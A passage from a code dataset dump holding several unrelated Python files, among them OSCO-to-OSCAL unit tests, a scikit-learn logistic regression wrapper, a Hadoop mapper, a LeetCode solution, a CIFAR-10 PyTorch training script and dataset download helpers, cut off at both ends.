idx, line in enumerate(content):\n if 'clock_t start = clock();' in line:\n right_idx = idx+1\n content[right_idx] += '#pragma @ICE loop=tile'\n rewrite(filename, content)\n\n\n\n\ndef iterator_init(filename):\n content = get_content(filename)\n\n start = False\n start_index = 0\n\n for idx, line in enumerate(content):\n if '#pragma scop' in line:\n start = True\n start_index = idx\n if '#pragma endscop' in line:\n start = False\n\n if start and 'for (int' in line:\n content[idx] = line[:5] + line[8:]\n\n content.insert(start_index, 'int i,j,k,l;')\n\n rewrite(filename, content)\n\n\ndef get_kernel_name(input_file, target_file=kernel_list):\n name = './generated' + input_file[input_file.rfind('/'):]\n os.system('echo {} >> {}'.format(name, target_file))\n\n\ndef statement_deletion(filename):\n first_entry = True\n\n content = get_content(filename)\n start_index = False\n for idx, line in enumerate(content):\n if '#pragma scop' in line:\n start_index = True\n if '#pragma endscop' in line:\n start_index = False\n if start_index and line[-1] == ';' and first_entry == True:\n first_entry = False\n elif start_index and line[-1] == ';' and first_entry == False:\n content[idx] = ''\n rewrite(filename, content)\n\n\ndef bounds_processing(filename):\n content = get_content(filename)\n start_index = False\n for idx, line in enumerate(content):\n if '#pragma scop' in line:\n start_index = True\n if '#pragma endscop' in line:\n start_index = False\n\n if start_index and 'for' in line:\n bound = line[line.rfind('<') + 2:line.rfind(';')]\n if bound != '1024':\n content[idx] = line[:line.rfind('<') + 2] + '1024' + line[line.rfind(';'):]\n\n rewrite(filename, content)\n\n\ndef process_file(filename):\n iterator_init(filename)\n add_constant(filename)\n #add_2D_tiling_label(filename)\n add_3D_tiling_label(filename)\n get_kernel_name(filename)\n statement_deletion(filename)\n bounds_processing(filename)\n #add_pragma(filename)\n","sub_path":"polyfile_processing.py","file_name":"polyfile_processing.py","file_ext":"py","file_size_in_byte":3790,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"516681848","text":"# -*- mode:python; coding:utf-8 -*-\n# Copyright (c) 2020 IBM Corp. All rights reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\"\"\"OSCO transformation tests.\"\"\"\n\nimport base64\nimport bz2\nimport json\nimport pathlib\nimport uuid\nfrom unittest.mock import patch\n\nfrom trestle.utils import osco\n\nimport yaml\n\nstem_in = pathlib.Path('tests/data/tasks/osco/input')\nstem_in_no_metadata = pathlib.Path('tests/data/tasks/osco/input-no-metadata')\nstem_out = pathlib.Path('tests/data/tasks/osco/output')\n\nmock_uuid4_value = uuid.UUID('d4cf7a88-cea7-4667-9924-8d278dc843df')\n\n\ndef test_function_osco_get_observations(tmp_path):\n \"\"\"Test OSCO to OSCAL transformation.\"\"\"\n idata = _load_yaml(stem_in, 'ssg-ocp4-ds-cis-111.222.333.444-pod.yaml')\n metadata = _load_yaml(stem_in, 'oscal-metadata.yaml')\n with patch('uuid.uuid4') as mock_uuid4:\n mock_uuid4.return_value = mock_uuid4_value\n observations, analysis = osco.get_observations(idata, metadata)\n expected = _load_json(stem_out, 'osco-pod-oscal.json')\n tfile = tmp_path / 'osco-pod-oscal.json'\n observations.oscal_write(tfile)\n actual = _load_json(tmp_path, 'osco-pod-oscal.json')\n assert actual == expected\n\n\ndef test_class_osco_rules(tmp_path):\n \"\"\"Test class osco.Rules.\"\"\"\n idata = _load_yaml(stem_in, 'ssg-ocp4-ds-cis-111.222.333.444-pod.yaml')\n rules = osco.Rules(idata)\n assert len(rules.instances) == 125\n assert len(rules.benchmark) == 2\n assert rules.benchmark['href'] == '/content/ssg-ocp4-ds.xml'\n assert rules.benchmark['id'] == 'xccdf_org.ssgproject.content_benchmark_OCP-4'\n assert len(rules.rule_metadata) == 2\n assert rules.rule_metadata['name'] == 'ssg-ocp4-ds-cis-111.222.333.444-pod'\n assert rules.rule_metadata['namespace'] == 'openshift-compliance'\n assert len(rules.analysis) == 3\n assert rules.analysis['config_maps'] == ['ssg-ocp4-ds']\n assert rules.analysis['dispatched_rules'] == 125\n assert len(rules.analysis['result_types']) == 4\n assert rules.analysis['result_types']['notselected'] == 2\n assert rules.analysis['result_types']['notchecked'] == 47\n assert rules.analysis['result_types']['fail'] == 64\n assert rules.analysis['result_types']['pass'] == 12\n\n\ndef test_class_osco_rules_none(tmp_path):\n \"\"\"Test class osco.Rules when None.\"\"\"\n rules = osco.Rules(None)\n assert len(rules.instances) == 0\n\n\ndef test_class_osco_rules_empty(tmp_path):\n \"\"\"Test class osco.Rules when empty.\"\"\"\n rules = osco.Rules({})\n assert len(rules.instances) == 0\n\n\ndef test_class_osco_rules_kind(tmp_path):\n \"\"\"Test class osco.Rules when no kind==Config.\"\"\"\n rules = osco.Rules({'kind': 'notConfigMap'})\n assert len(rules.instances) == 0\n\n\ndef test_class_osco_rules_no_results(tmp_path):\n \"\"\"Test class osco.Rules when no results.\"\"\"\n rules = osco.Rules({'kind': 'ConfigMap', 'data': {'not-results': ''}})\n assert len(rules.instances) == 0\n\n\ndef test_class_osco_rules_no_metadata(tmp_path):\n \"\"\"Test class osco.Rules when no metadata.\"\"\"\n idata = _load_yaml(stem_in_no_metadata, 'ssg-ocp4-ds-cis-111.222.333.444-pod.yaml')\n rules = osco.Rules(idata)\n assert len(rules.instances) == 125\n\n\ndef test_class_osco_rules_compressed(tmp_path):\n \"\"\"Test class osco.Rules when compressed.\"\"\"\n ipath = stem_in / 'ssg-ocp4-ds-cis-111.222.333.444-pod.yaml'\n opath = tmp_path / 'ssg-ocp4-ds-cis-111.222.333.444-pod.yaml'\n make_compressed(ipath, opath)\n idata = _load_yaml(tmp_path, 'ssg-ocp4-ds-cis-111.222.333.444-pod.yaml')\n rules = osco.Rules(idata)\n assert len(rules.instances) == 125\n\n\ndef make_compressed(ipath, opath):\n \"\"\"Make an OSCO compressed XML version of the input file.\"\"\"\n with open(ipath, 'r') as f:\n content = yaml.load(f, Loader=yaml.FullLoader)\n raw_string = content['data']['results']\n bytes_value = bytes(raw_string, 'utf-8')\n compressed_value = bz2.compress(bytes_value)\n encoded_value = base64.b64encode(compressed_value)\n strval = str(encoded_value, 'utf-8')\n content['data']['results'] = strval\n with open(opath, 'w') as f:\n yaml.dump(content, f)\n\n\ndef _load_yaml(stem, filename):\n \"\"\"Provide utility to load yaml.\"\"\"\n ifile = pathlib.Path('') / stem / filename\n with open(ifile, 'r+') as fp:\n data = fp.read()\n content = yaml.full_load(data)\n return content\n\n\ndef _load_json(stem, filename):\n \"\"\"Provide utility to load json.\"\"\"\n ifile = pathlib.Path('') / stem / filename\n with open(ifile, 'r', encoding='utf-8') as fp:\n content = json.load(fp)\n return content\n","sub_path":"tests/trestle/utils/osco_test.py","file_name":"osco_test.py","file_ext":"py","file_size_in_byte":5079,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"23468658","text":"from math import log10\n\ndef count_prob(S : str, GC : float):\n return sum(log10(GC/2) if x in (\"G\", \"C\") \\\n else log10((1 - GC) / 2) for x in S)\n\ndef main():\n with open(\"rosalind_prob.txt\", \"r\") as f:\n s = f.readline().strip()\n A = list(map(float, f.readline().strip().split()))\n with open(\"out.txt\", \"w\") as o:\n print(*(f\"{count_prob(s, gc):.3f}\" for gc in A), file=o)\n\nif __name__ == \"__main__\":\n main()","sub_path":"Bioinformatics Stronghold/39_prob.py","file_name":"39_prob.py","file_ext":"py","file_size_in_byte":444,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"254805434","text":"\"\"\"Scikit_learn based implementation of logistic regression.\n\"\"\"\nimport sys\nimport os\nimport pickle\n\nfrom sklearn.linear_model import LogisticRegression\n\n\nclass Model():\n \"\"\"Logistic Regression Class.\n \"\"\"\n def __init__(self):\n \"\"\"Instanciate object.\"\"\"\n self._model = None\n\n def predict(self, inputs_data):\n \"\"\"Prediction function of the model.\n Arg:\n inputs_data (DataFrame): table of input data to predict.\n Return\n prediction_df (DataFrame): table of prediction.\n \"\"\"\n # Return the prediction list\n # return [self._predict_instance(row) for row in inputs_data]\n return list(self._model.predict(inputs_data))\n\n def fit(self, labeled_data, alpha, epochs):\n \"\"\"Fit the model.\n Args:\n labeled_data (list): labeled dataset for fitting.\n [\n ([ 0.0, 6.0, 6.0, 2.0], 1.0)\n ([ 8.0, 7.0, 4.0, 2.0], 1.0)\n ]\n Note:\n * Scikit-learn framework:\n Input: array-like, shape = [n_samples, n_features]\n x_array = [\n [X_11, X_12],\n [X_21, X_22]\n ]\n Output: array-like\n y_array = [y_1, y_2]\n \"\"\"\n # If no verison is given\n if self._model is None:\n # Load initial parameters.\n self._model = LogisticRegression(penalty=\"l2\",\n dual=False,\n tol=0.0001,\n C=1000000000000,\n fit_intercept=True,\n intercept_scaling=1,\n class_weight=None,\n random_state=None,\n solver=\"sag\",\n max_iter=epochs,\n multi_class=\"ovr\",\n verbose=1,\n warm_start=False,\n n_jobs=1)\n # Extract input and labels\n x_arrays = [instance[0] for instance in labeled_data]\n y_arrays = [instance[1] for instance in labeled_data]\n # Fit\n self._model.fit(x_arrays, y_arrays)\n\n def load_parameters(self, model_version):\n \"\"\"Load the parameters of the model.\n Args:\n model_version (str): version of model to use.\n \"\"\"\n # If a version model was given\n if model_version is not None:\n # Try to set the folder path.\n try:\n folder_path = \"library/scikit_learn_sag/params/\" + model_version\n # If error type, catch the exception.\n except TypeError:\n print(\"The given model_version might not be of type string\")\n # Try to load the model.\n try:\n with open(folder_path + \"/\" + \"model.sav\", \"rb\") as handle:\n self._model = pickle.load(handle)\n # If error, catch the exception and stop the program.\n except OSError:\n print(\"Can't find the model to load, please choose an existing version.\")\n sys.exit()\n\n def persist_parameters(self, model_version):\n \"\"\"Persist the parameters of the model.\n Args:\n model_version (str): version of model to use.\n \"\"\"\n try:\n # Set the folder path\n folder_path = \"library/scikit_learn_sag/params/\" + model_version\n except TypeError:\n print(\"The given version of model might not be of type string\")\n\n # Create folder if doesn't exist\n if not os.path.exists(folder_path):\n os.mkdir(folder_path)\n\n # Store the model.\n with open(folder_path + \"/\" + \"model.sav\", \"wb\") as handle:\n pickle.dump(self._model, handle)\n","sub_path":"library/scikit_learn_sag/model.py","file_name":"model.py","file_ext":"py","file_size_in_byte":4082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"267723294","text":"#!/usr/bin/python\nimport sys\nfrom datetime import datetime\nweekDays = (\"Monday\", \"Tuesday\", \"Wednesday\", \"Thursday\", \"Friday\", \"Saturday\", \"Sunday\")\nfor line in sys.stdin:\n\tdata = line.strip().split(\"\\t\")\n\tif len(data)==6:\n\t\tdate, time, store, item, cost, payment = data\n\t\tweekday = datetime.strptime(date,\"%Y-%m-%d\").weekday()\n\t\tprint(\"{0}\\t{1}\".format(weekDays[weekday],cost))\n","sub_path":"tp2/part3/mapper2.py","file_name":"mapper2.py","file_ext":"py","file_size_in_byte":379,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"649557778","text":"import pathlib\nimport shutil\n\nimport requests\n\n\ndef download_cached(url: str, fpath: pathlib.Path):\n if not fpath.exists():\n print(f\"{fpath} not found, downloading it.\")\n r = requests.get(url, stream=True)\n if r.status_code == 200:\n with fpath.open(\"wb\") as f:\n r.raw.decode_content = True\n shutil.copyfileobj(r.raw, f)\n else:\n raise FileNotFoundError(f\"Could not download {url!r}\")\n\n\ndef title_case(instr: str) -> str:\n return (\n instr.title()\n .replace(\" And \", \" and \")\n .replace(\" Of \", \" of \")\n .replace(\" On \", \" on \")\n .replace(\" Or \", \" or \")\n .replace(\" To \", \" to \")\n .replace(\" As \", \" as \")\n .replace(\" For \", \" for \")\n .replace(\" From \", \" from \")\n .replace(\" With \", \" with \")\n .replace(\" Without \", \" without \")\n .replace(\"Nox\", \"NOx\")\n .replace(\"Nh3\", \"NH3\")\n .replace(\"Co2\", \"CO2\")\n .replace(\"Sf6\", \"SF6\")\n .replace(\"Pfc\", \"PFC\")\n .replace(\"Tft\", \"TFT\")\n )\n","sub_path":"data_generation/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1082,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"515838652","text":"#!/usr/bin/env python\n# Train CIFAR10 with PyTorch.\n# based on: https://github.com/kuangliu/pytorch-cifar\n# maintainer: zhaoyafei (https://github.com/walkoncross, zhaoyafei0210@gmail.com)\n\nfrom __future__ import print_function\n\nimport torch\nimport torch.nn as nn\nimport torch.optim as optim\nimport torch.nn.functional as F\nimport torch.backends.cudnn as cudnn\n\nimport torchvision\nimport torchvision.transforms as transforms\n\nimport os\nimport os.path as osp\nimport argparse\n\nfrom models import *\nfrom utils import progress_bar\nimport time\n\n\ndef add_arg_parser():\n parser = argparse.ArgumentParser(description='PyTorch CIFAR10 Training')\n parser.add_argument('--net', default='resnet20_cifar',\n type=str, help='network architeture')\n parser.add_argument('--gpu-ids', default='0',\n type=str, help='which GPUs to train on, set to \"0,1,2\" to use multiple GPUs')\n parser.add_argument('--resume', '-r', action='store_true',\n help='resume from checkpoint')\n parser.add_argument('--resume-checkpoint', type=str,\n help='path to resume checkpoint')\n parser.add_argument('--num-epochs', type=int, default=320,\n help='max num of epochs')\n parser.add_argument('--lr-scheduler', default='step',\n type=str, help='learning rate scheduler type: [\"step\", \"cosine\"]')\n parser.add_argument('--lr', default=0.1, type=float, help='learning rate')\n parser.add_argument('--lr-min', default=0.0, type=float,\n help='minimum learning rate used in cosine lr')\n parser.add_argument('--lr-factor', type=float, default=0.1,\n help='the ratio to reduce lr on each step')\n parser.add_argument('--lr-step-epochs', type=str, default='160,240',\n help='the epochs to reduce the lr, e.g. 160,240')\n parser.add_argument('--mom', type=float, default=0.9,\n help='momentum for sgd')\n parser.add_argument('--wd', type=float, default=1e-4,\n help='weight decay for sgd')\n parser.add_argument('--batch-size', type=int, default=256,\n help='the batch size for train')\n parser.add_argument('--data-workers', type=int, default=4,\n help='workers to load train data')\n parser.add_argument('--test-bs', type=int, default=200,\n help='the batch size for test data')\n parser.add_argument('--test-dw', type=int, default=4,\n help='workers to load test data')\n parser.add_argument('--model-prefix', type=str, default='ckpt',\n help='model prefix')\n parser.add_argument('--cifar-dir', type=str, default='./data',\n help='path to save downloaded cifar dataset')\n parser.add_argument('--save-dir', type=str, default='./checkpoints',\n help='path to save checkpoints')\n parser.add_argument('--save-thresh', type=float, default=0.9,\n help='save checkpoints with test acc>save_thresh')\n parser.add_argument('--no-progress-bar', dest='progress_bar', action='store_false',\n help='whether to show progress bar')\n return parser\n\n\ndef main():\n parser = add_arg_parser()\n args = parser.parse_args()\n\n # to make 260 to 256, for example\n args.batch_size = args.batch_size // args.data_workers * args.data_workers\n\n if 10000 % args.test_bs != 0:\n print(\"===> Must have: (10000 %% args.test_bs == 0)\")\n return\n\n if args.test_bs % args.test_dw != 0:\n print(\"===> Must have: (args.test_bs %% args.test_bs == 0)\")\n return\n\n print('===> Train settings: ')\n print(args)\n\n gpu_ids = []\n if ',' in args.gpu_ids:\n gpu_ids = [int(id) for id in args.gpu_ids.split(',')]\n else:\n gpu_ids = [int(args.gpu_ids)]\n\n device = 'cuda' if torch.cuda.is_available() else 'cpu'\n\n if len(gpu_ids) == 1 and device == 'cuda':\n device = 'cuda:'+str(gpu_ids[0])\n\n start_epoch = 0 # start from epoch 0 or last checkpoint epoch\n step_epochs = [int(l) for l in args.lr_step_epochs.split(',')]\n best_acc = 0 # best test accuracy\n\n # Data\n print('==> Preparing data..')\n transform_train = transforms.Compose([\n transforms.RandomCrop(32, padding=4),\n transforms.RandomHorizontalFlip(),\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465),\n (0.2023, 0.1994, 0.2010)),\n ])\n\n transform_test = transforms.Compose([\n transforms.ToTensor(),\n transforms.Normalize((0.4914, 0.4822, 0.4465),\n (0.2023, 0.1994, 0.2010)),\n ])\n\n do_download = True\n if osp.exists(osp.join(args.cifar_dir, 'cifar-10-python.tar.gz')):\n print('cifar10 has already been downloaded to ', args.cifar_dir)\n do_download = False\n\n trainset = torchvision.datasets.CIFAR10(\n root=args.cifar_dir, train=True, download=do_download, transform=transform_train)\n trainloader = torch.utils.data.DataLoader(\n trainset, batch_size=args.batch_size, shuffle=True, num_workers=args.data_workers)\n\n testset = torchvision.datasets.CIFAR10(\n root=args.cifar_dir, train=False, download=do_download, transform=transform_test)\n testloader = torch.utils.data.DataLoader(\n testset, batch_size=args.test_bs, shuffle=False, num_workers=args.test_dw)\n\n # classes = ('plane', 'car', 'bird', 'cat', 'deer',\n # 'dog', 'frog', 'horse', 'ship', 'truck')\n\n # Model\n net_name = args.net.lower()\n print('==> Building model..')\n\n if net_name == 'VGG19'.lower():\n net = VGG('VGG19')\n elif net_name == 'ResNet18'.lower():\n net = ResNet18()\n elif net_name == 'PreActResNet18'.lower():\n net = PreActResNet18()\n elif net_name == 'GoogLeNet'.lower():\n net = GoogLeNet()\n elif net_name == 'DenseNet121'.lower():\n net = DenseNet121()\n elif net_name == 'ResNeXt29_2x64d'.lower():\n net = ResNeXt29_2x64d()\n elif net_name == 'MobileNet'.lower():\n net = MobileNet()\n elif net_name == 'MobileNetV2'.lower():\n net = MobileNetV2()\n elif net_name == 'DPN92'.lower():\n net = DPN92()\n elif net_name == 'ShuffleNetG2'.lower():\n net = ShuffleNetG2()\n elif net_name == 'SENet18'.lower():\n net = SENet18()\n elif net_name == 'ShuffleNetV2'.lower():\n net = ShuffleNetV2(1)\n else:\n net = ResNet20_cifar10()\n\n if device.startswith('cuda'):\n if len(gpu_ids) > 1:\n net = torch.nn.DataParallel(net, device_ids=gpu_ids)\n cudnn.benchmark = True\n else:\n net = net.to(device)\n\n if args.resume:\n if not args.resume_checkpoint:\n args.resume_checkpoint = args.save_dir\n\n if osp.isdir(args.resume_checkpoint):\n ckpt = ''\n epoch = 0\n for fn in os.listdir(args.resume_checkpoint):\n if not fn.endswith('.t7'):\n continue\n\n splits = fn.rsplit('-', 2)\n t_epoch = int(splits[1])\n\n if t_epoch > epoch:\n epoch = t_epoch\n ckpt = fn\n\n args.resume_checkpoint = osp.join(args.resume_checkpoint, ckpt)\n\n if not osp.exists(args.resume_checkpoint):\n print(\"===> Resume checkpoint not found: \", args.resume_checkpoint)\n print(\"===> Exit\")\n return\n\n # Load checkpoint.\n print('==> Resuming from checkpoint: ', args.resume_checkpoint)\n checkpoint = torch.load(args.resume_checkpoint)\n net.load_state_dict(checkpoint['net'])\n best_acc = checkpoint['acc']\n start_epoch = checkpoint['epoch']\n\n criterion = nn.CrossEntropyLoss().to(device)\n\n optimizer = optim.SGD(net.parameters(), lr=args.lr,\n momentum=args.mom, weight_decay=args.wd)\n if args.lr_scheduler == 'cosine':\n scheduler = optim.lr_scheduler.CosineAnnealingLR(\n optimizer, T_max=args.num_epochs, eta_min=args.lr_min)\n else:\n scheduler = optim.lr_scheduler.MultiStepLR(\n optimizer, milestones=step_epochs, gamma=args.lr_factor)\n\n if not osp.exists(args.save_dir):\n os.makedirs(args.save_dir)\n\n log_fn = osp.join(args.save_dir, 'train-log.txt')\n loss_fn = osp.join(args.save_dir, 'train-loss.txt')\n\n fp_log = open(log_fn, 'w')\n fp_log.write(\"===> TRAIN ARGS:\\n\")\n fp_log.write(str(args)+'\\n')\n fp_log.write(\"===<\\n\")\n\n fp_loss = open(loss_fn, 'w')\n loss_log_format = '{epoch} \\t {lr} \\t {train_loss} \\t {train_acc} \\t {test_loss} \\t {test_acc}'\n fp_loss.write(loss_log_format + '\\n')\n\n # Training\n def train(epoch):\n print('\\nEpoch: %d' % epoch)\n net.train()\n train_loss = 0\n correct = 0\n total = 0\n avg_loss = 0\n acc = 0\n\n for batch_idx, (inputs, targets) in enumerate(trainloader):\n inputs, targets = inputs.to(device), targets.to(device)\n optimizer.zero_grad()\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n loss.backward()\n optimizer.step()\n\n train_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n\n avg_loss = train_loss / (batch_idx + 1)\n acc = float(correct)/total\n\n if args.progress_bar:\n progress_bar(batch_idx, len(trainloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n % (avg_loss, acc*100, correct, total))\n\n return avg_loss, acc\n\n def test(epoch):\n net.eval()\n test_loss = 0\n correct = 0\n total = 0\n avg_loss = 0\n acc = 0\n\n with torch.no_grad():\n for batch_idx, (inputs, targets) in enumerate(testloader):\n inputs, targets = inputs.to(device), targets.to(device)\n outputs = net(inputs)\n loss = criterion(outputs, targets)\n\n test_loss += loss.item()\n _, predicted = outputs.max(1)\n total += targets.size(0)\n correct += predicted.eq(targets).sum().item()\n\n avg_loss = test_loss / (batch_idx + 1)\n acc = float(correct)/total\n\n if args.progress_bar:\n progress_bar(batch_idx, len(testloader), 'Loss: %.3f | Acc: %.3f%% (%d/%d)'\n % (avg_loss, acc*100, correct, total))\n\n return avg_loss, acc\n\n for epoch in range(start_epoch, start_epoch+args.num_epochs):\n scheduler.step()\n lr = scheduler.get_lr()\n print('\\n---> lr=', lr[0])\n train_loss, train_acc = train(epoch)\n test_loss, test_acc = test(epoch)\n\n # '{} \\t {} \\t {} \\t {} \\t {} \\t {} \\n'\n msg = loss_log_format.format(\n epoch=epoch, lr=lr[0],\n train_loss=train_loss, train_acc=train_acc,\n test_loss=test_loss, test_acc=test_acc)\n\n print('====>\\n' + loss_log_format + '\\n' + msg + '\\n')\n fp_loss.write(msg+'\\n')\n\n # Save checkpoint.\n if test_acc > best_acc:\n print('Saving..')\n state = {\n 'net': net.state_dict(),\n 'acc': test_acc,\n 'epoch': epoch,\n }\n\n time.sleep(10)\n save_name = osp.join(args.save_dir, '%s-best.t7' %\n (args.model_prefix))\n torch.save(state, save_name)\n best_acc = test_acc\n\n if test_acc >= args.save_thresh:\n print('Saving..')\n state = {\n 'net': net.state_dict(),\n 'acc': test_acc,\n 'epoch': epoch,\n }\n\n time.sleep(10)\n save_name = osp.join(args.save_dir, '%s-%04d-testacc%4.2f.t7' %\n (args.model_prefix, epoch, test_acc*100))\n torch.save(state, save_name)\n\n fp_log.close()\n fp_loss.close()\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"main_zyf.py","file_name":"main_zyf.py","file_ext":"py","file_size_in_byte":12269,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"377308763","text":"# coding:utf-8\n# 2021/9/15 23:37\n\"\"\"\n给定一个由 整数 组成的 非空 数组所表示的非负整数,在该数的基础上加一。\n最高位数字存放在数组的首位, 数组中每个元素只存储单个数字。\n你可以假设除了整数 0 之外,这个整数不会以零开头。\n \n示例 1:\n输入:digits = [1,2,3]\n输出:[1,2,4]\n解释:输入数组表示数字 123。\n\n示例 2:\n输入:digits = [4,3,2,1]\n输出:[4,3,2,2]\n解释:输入数组表示数字 4321。\n\n示例 3:\n输入:digits = [0]\n输出:[1]\n \n\n提示:\n1 <= digits.length <= 100\n0 <= digits[i] <= 9\n\n来源:力扣(LeetCode)\n链接:https://leetcode-cn.com/problems/plus-one\n著作权归领扣网络所有。商业转载请联系官方授权,非商业转载请注明出处。\n\"\"\"\n\n\nclass Solution(object):\n def plusOne(self, digits):\n \"\"\"\n :type digits: List[int]\n :rtype: List[int]\n \"\"\"\n # return list(map(int, [i for i in str(int(\"\".join(map(str, digits))) + 1)]))\n return [*map(int, [*str(int(''.join([*map(str, digits)])) + 1)])]\n\n\nif __name__ == \"__main__\":\n sln = Solution()\n print(sln.plusOne([1,2,3]))\n print(sln.plusOne([4,3,2,1]))\n print(sln.plusOne([0]))\n","sub_path":"PyBT/leet_code/66. 加一.py","file_name":"66. 加一.py","file_ext":"py","file_size_in_byte":1246,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"510568607","text":"from datetime import datetime\nimport re\nimport os\nimport shutil\nfrom subprocess import run\nfrom glob import glob\nimport torch\nimport torchvision\nimport PIL\nimport numpy as np\n\ndef get_fastai_version():\n with open('fastai/../setup.py') as f:\n read_data = f.read()\n return re.search('version = (\\d*.\\d*)', read_data).groups(0)[0]\n\ndef print_info():\n print(f'Last run on: {datetime.now().date()}')\n print(f'PyTorch version: {torch.__version__}')\n print(f'fastai version: {get_fastai_version()}')\n\ndef get_mnist(path):\n path = os.path.join(path, 'mnist')\n\n if not os.path.exists(os.path.join(path, 'processed')):\n torchvision.datasets.MNIST(path, download=True)\n\n for ds in ['train', 'test']:\n shutil.rmtree(os.path.join(path, ds), ignore_errors=True)\n for i in range(10): os.makedirs(os.path.join(path, ds, str(i)))\n\n train = torch.load(os.path.join(path, 'processed/training.pt'))\n test = torch.load(os.path.join(path, 'processed/test.pt'))\n\n np.save(os.path.join(path, 'train_x'), train[0].numpy())\n np.save(os.path.join(path, 'train_y'), train[1].numpy())\n\n np.save(os.path.join(path, 'test_x'), test[0].numpy())\n np.save(os.path.join(path, 'test_y'), test[1].numpy())\n\n for i in range(len(train[0])):\n img = PIL.Image.fromarray(train[0][i].numpy())\n label = str(train[1][i])\n img.save(f'{os.path.join(path, \"train\", label, str(i))}.png', mode='L')\n\n for i in range(len(test[0])):\n img = PIL.Image.fromarray(test[0][i].numpy())\n label = str(test[1][i])\n img.save(f'{os.path.join(path, \"test\", label, str(i))}.png', model='L')\n\n\ndef get_cifar10(path):\n shutil.rmtree(f'{path}cifar10')\n\n run(f'mkdir -p {path}'.split())\n if not os.path.isfile(os.path.join(path, 'cifar.tgz')):\n run(f'wget http://pjreddie.com/media/files/cifar.tgz'.split(), cwd=path)\n if not os.path.isdir(f'{path}cifar'):\n run(f'tar -xf cifar.tgz'.split(), cwd=path)\n\n for ds in ['train', 'test']:\n trn_paths = glob(f'{path}cifar/{ds}/*')\n for cls in ('airplane', 'automobile', 'bird', 'cat', 'deer', 'dog', 'frog', 'horse', 'ship', 'truck'):\n run(f'mkdir -p {path}/cifar10/{ds}/{cls}'.split())\n for fpath in trn_paths:\n cls = re.search('_(.*)\\.png$', fpath).group(1)\n fname = re.search('\\w*.png$', fpath).group(0)\n shutil.copy(fpath, f'{path}cifar10/{ds}/{cls}/{fname}')\n\n","sub_path":"utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":2455,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"10"} +{"seq_id":"55973849","text":"# EMBL-EBI MetaboLights - https://www.ebi.ac.uk/metabolights\n# Metabolomics team\n#\n# European Bioinformatics Institute (EMBL-EBI), European Molecular Biology Laboratory, Wellcome Genome Campus, Hinxton, Cambridge CB10 1SD, United Kingdom\n#\n# Last modified: 2019-Jan-30\n# Modified by: kenneth\n#\n# Copyright 2019 EMBL - European Bioinformatics Institute\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License.\n\nimport json\n\nfrom flask_restful import fields\nfrom isatools.model import Investigation\nfrom isatools.model import Person, OntologyAnnotation, OntologySource, Protocol\nfrom isatools.model import ProtocolParameter, StudyFactor, Comment, Publication\nfrom isatools.model import Sample, Characteristic, FactorValue, Source\n\nComment_api_model = {\n # name (str):\n # value (str, int, float, NoneType):\n 'name': fields.String,\n 'value': fields.String\n}\n\n\ndef serialize_comment(isa_obj):\n assert isinstance(isa_obj, Comment)\n return {\n 'name': isa_obj.name,\n 'value': isa_obj.value\n }\n\n\ndef unserialize_comment(json_obj):\n name = ''\n if 'name' in json_obj and json_obj['name'] is not None:\n name = json_obj['name']\n value = ''\n if 'value' in json_obj and json_obj['value'] is not None:\n value = json_obj['value']\n\n return Comment(name=name,\n value=value)\n\n\nOntologySource_api_model = {\n # name (str):\n # file (str):\n # version (str):\n # description (str):\n # comments (list, comment):\n 'name': fields.String,\n 'file': fields.String,\n 'version': fields.String,\n 'description': fields.String,\n 'comments': fields.List(fields.Nested(Comment_api_model))\n}\n\n\ndef serialize_ontology_source(isa_obj):\n assert isinstance(isa_obj, OntologySource)\n return {\n 'name': isa_obj.name,\n 'file': isa_obj.file,\n 'version': isa_obj.version,\n 'description': isa_obj.description,\n 'comments': json.loads(json.dumps(isa_obj.comments, default=serialize_comment, sort_keys=True))\n }\n\n\ndef unserialize_ontology_source(json_obj):\n name = ''\n if 'name' in json_obj and json_obj['name'] is not None:\n name = json_obj['name']\n file = ''\n if 'name' in json_obj and json_obj['file'] is not None:\n file = json_obj['file']\n version = ''\n if 'version' in json_obj and json_obj['version'] is not None:\n version = json_obj['version']\n description = ''\n if 'description' in json_obj and json_obj['description'] is not None:\n description = json_obj['description']\n comments = list()\n if 'comments' in json_obj and json_obj['comments'] is not None:\n for comment in json_obj['comments']:\n comments.append(unserialize_comment(comment))\n\n return OntologySource(name=name,\n file=file,\n version=version,\n description=description,\n comments=comments)\n\n\nInv_OntologyAnnotation_api_model = {\n # term (str):\n # term_source (OntologySource):\n # term_accession (str):\n # comments (list, Comment):\n 'annotationValue': fields.String,\n 'termSource': fields.Nested(OntologySource_api_model),\n 